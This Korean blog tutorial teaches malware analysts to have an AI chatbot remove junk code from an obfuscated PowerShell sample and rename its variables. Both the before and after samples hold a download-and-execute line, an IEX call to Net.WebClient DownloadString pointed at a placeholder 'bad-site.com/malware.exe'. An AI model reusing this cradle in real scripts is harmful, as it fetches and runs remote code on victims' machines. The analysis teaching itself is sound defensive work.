본문 바로가기
일반IT

[실습] "이 코드, 쓰레기인가요?" 🗑️ AI로 더미 코드(Junk Code) 치우고 변수명 예쁘게 바꾸기 ✨

by gasbugs 2025. 12. 11.

안녕하세요, 보안 분석가 여러분! 🕵️‍♀️

지난 시간, 우리는 거대한 난독화 코드를 AI가 소화할 수 있게 '한 입 크기(Chunk)'로 자르는 법을 배웠습니다. 이제 잘라낸 조각을 AI에게 먹여서 분석할 차례인데... 잠깐! ✋

공격자들이 던져준 코드는 그야말로 '쓰레기장(Junk Yard)'입니다.

아무 의미 없는 수학 연산, 실행되지 않는 if문, asdf 같은 무의미한 변수명들이 뒤섞여 있죠. 이걸 그대로 분석하려다간 우리의 소중한 뇌세포만 죽어납니다. 🤯

오늘은 AI라는 '청소부'를 고용해서 이 난장판을 깨끗하게 정리하는 실습을 해보겠습니다.

더미 코드(Junk Code) 제거와 변수명 치환(Renaming), 이 두 가지만 잘해도 분석 속도가 5배는 빨라집니다! 🚀


1. 더미 코드(Junk Code)가 뭐길래? 🗑️

악성코드 제작자들은 분석가를 헷갈리게 하려고 일부러 '시간 낭비용 코드'를 심어놓습니다.

  • 의미 없는 반복문: for (i=0; i<10000; i++) { a = a + 1; a = a - 1; } (결국 제자리)
  • 죽은 코드 (Dead Code): 절대 실행될 일 없는 if (1 == 2) 블록
  • 가짜 변수: 실제 악성 행위와 전혀 상관없는 문자열들

사람이 보면 "어? 이거 중요한 계산인가?" 하고 들여다보게 되지만, 컴퓨터 입장에서는 전기세 낭비일 뿐이죠. 우리는 AI에게 "결과에 영향 안 주는 건 다 지워버려!" 라고 시킬 겁니다.


2. 변수명 치환(Renaming)은 왜 해요? 🏷️

$x = "http://..."

$y = "download"

이 정도면 양반입니다. 악성코드는 보통 $xkqzw, $__var_01 처럼 암호 같은 변수명을 씁니다. 코드가 길어지면 "아까 $xkqzw가 뭐였더라?" 하고 기억력을 테스트하게 되죠.

우리는 AI에게 "문맥을 보고 적절한 이름표(Label)를 다시 붙여줘!" 라고 요청할 겁니다.

($xkqzw ➡️ $malicious_url)


3. [실습] 쓰레기장 청소 시작! 🧹

자, 여기 공격자가 작성한 PowerShell 난독화 코드 샘플(청크)이 있습니다. 딱 봐도 어지럽죠?

🤮 [Before] 오염된 코드 (난독화 상태)

# 난독화된 코드 조각
$a = 100;
$b = 200;
$c = $a + $b; # 의미 없는 계산
For ($i=0; $i -lt 50; $i++) { $c++ } # 시간 낭비용 루프

$w_str = "N" + "e" + "w" + "-";
$x_val = "Ob" + "je" + "ct";
$y_net = "Net.WebClient";

If (100 -gt 500) { Write-Host "This never runs" } # 죽은 코드(Dead Code)

$z_final = $w_str + $x_val; # "New-Object"
$target = "http://bad-site.com/malware.exe";

# 실제로는 여기서 다운로드가 일어남
IEX (New-Object $y_net).DownloadString($target);

이제 AI(ChatGPT 등)에게 프롬프트를 입력해 봅시다.


🗣️ [Prompt] AI에게 명령하기

역할: 당신은 숙련된 코드 리팩토링 전문가이자 보안 분석가입니다.

상황: 나는 악성 코드로 의심되는 PowerShell 스크립트의 일부를 분석 중입니다. 코드가 난독화되어 있어 가독성이 매우 떨어집니다.

요청사항:

  1. 더미 코드 제거 (Junk Code Removal): 프로그램의 최종 실행 결과(행위)에 영향을 주지 않는 불필요한 연산, 반복문, 죽은 코드(Dead Code)를 모두 삭제하세요.
  2. 변수명 치환 (Renaming): $w_str, $x_val 같은 무의미한 변수명을 그 변수가 담고 있는 데이터나 역할에 맞춰 직관적인 영어 이름(예: $cmd_prefix, $c2_url)으로 변경하세요.
  3. 주석 추가: 변경된 코드의 각 라인이 무엇을 의미하는지 한글 주석을 다세요.

코드:

(위의 [Before] 코드를 여기에 붙여넣기)


✨ [After] AI가 청소한 코드

AI가 청소를 마치면 아래와 같은 '천국 같은 코드'가 나옵니다.

# 정리된 코드 (Cleaned Version)

# [1] 공격 명령어 조립 ("New-Object")
$cmd_part1 = "New-";
$cmd_part2 = "Object";
$cmd_full = $cmd_part1 + $cmd_part2; 

# [2] .NET 웹 클라이언트 객체명
$web_client_class = "Net.WebClient";

# [3] 악성 파일 다운로드 주소 (C2 서버)
$malware_url = "http://bad-site.com/malware.exe";

# [4] 최종 실행: 웹 클라이언트를 생성하여 악성 스크립트 다운로드 및 실행
# 원본: IEX (New-Object $y_net).DownloadString($target);
IEX (New-Object $web_client_class).DownloadString($malware_url);

🔍 무엇이 바뀌었나요?

  1. 쓰레기 소각: 초반에 있던 $a, $b, $c 계산과 의미 없는 For 루프, 실행 안 되는 If 문이 싹 사라졌습니다.
  2. 이름표 교체:
    • $w_str ➡️ $cmd_part1
    • $target ➡️ $malware_url
    • 이제 코드를 읽기만 해도 "아, New-Object를 만들어서 malware.exe를 다운로드하는구나" 라고 바로 이해가 됩니다!

4. 주의사항 및 꿀팁 🍯

  • ⚠️ 너무 많이 지우면 안 돼요: 가끔 AI가 중요한 로직까지 "이거 필요 없어 보이는데요?" 하고 지워버릴 때가 있습니다(Over-cleaning).
    • 팁: AI에게 "원본 로직을 해치지 않는 선에서 정리해줘" 라고 강조하거나, 결과 코드를 원본과 비교하며 중요한 함수 호출이 사라지지 않았는지 꼭 눈으로 확인(Cross-Check) 하세요.
  • 🔄 단계별로 진행하세요: 한 번에 "해석하고, 줄이고, 보고서 써줘"라고 하면 AI가 체합니다.
    1. 더미 코드 제거 & 변수명 변경 (오늘 한 것)
    2. 로직 해석
    3. 보고서 작성
    • 이렇게 단계를 나누는 것이 훨씬 정확합니다.

🎉 마무리

오늘 우리는 난장판이던 코드를 AI의 손을 빌려 깔끔하게 정리했습니다.

마치 엉망진창인 방을 청소하고 나니, 잃어버렸던 물건(악성 행위의 핵심)이 눈에 확 들어오지 않나요? 😎

이제 깨끗해진 코드를 바탕으로 다음 시간에는 "디오브퓨스케이션(Deobfuscation)", 즉 꼬여있는 문자열을 평문으로 완전히 해독하고 주석을 다는 심화 과정으로 넘어가겠습니다.

분석가 여러분, 오늘도 쾌적한 분석 되세요! 👋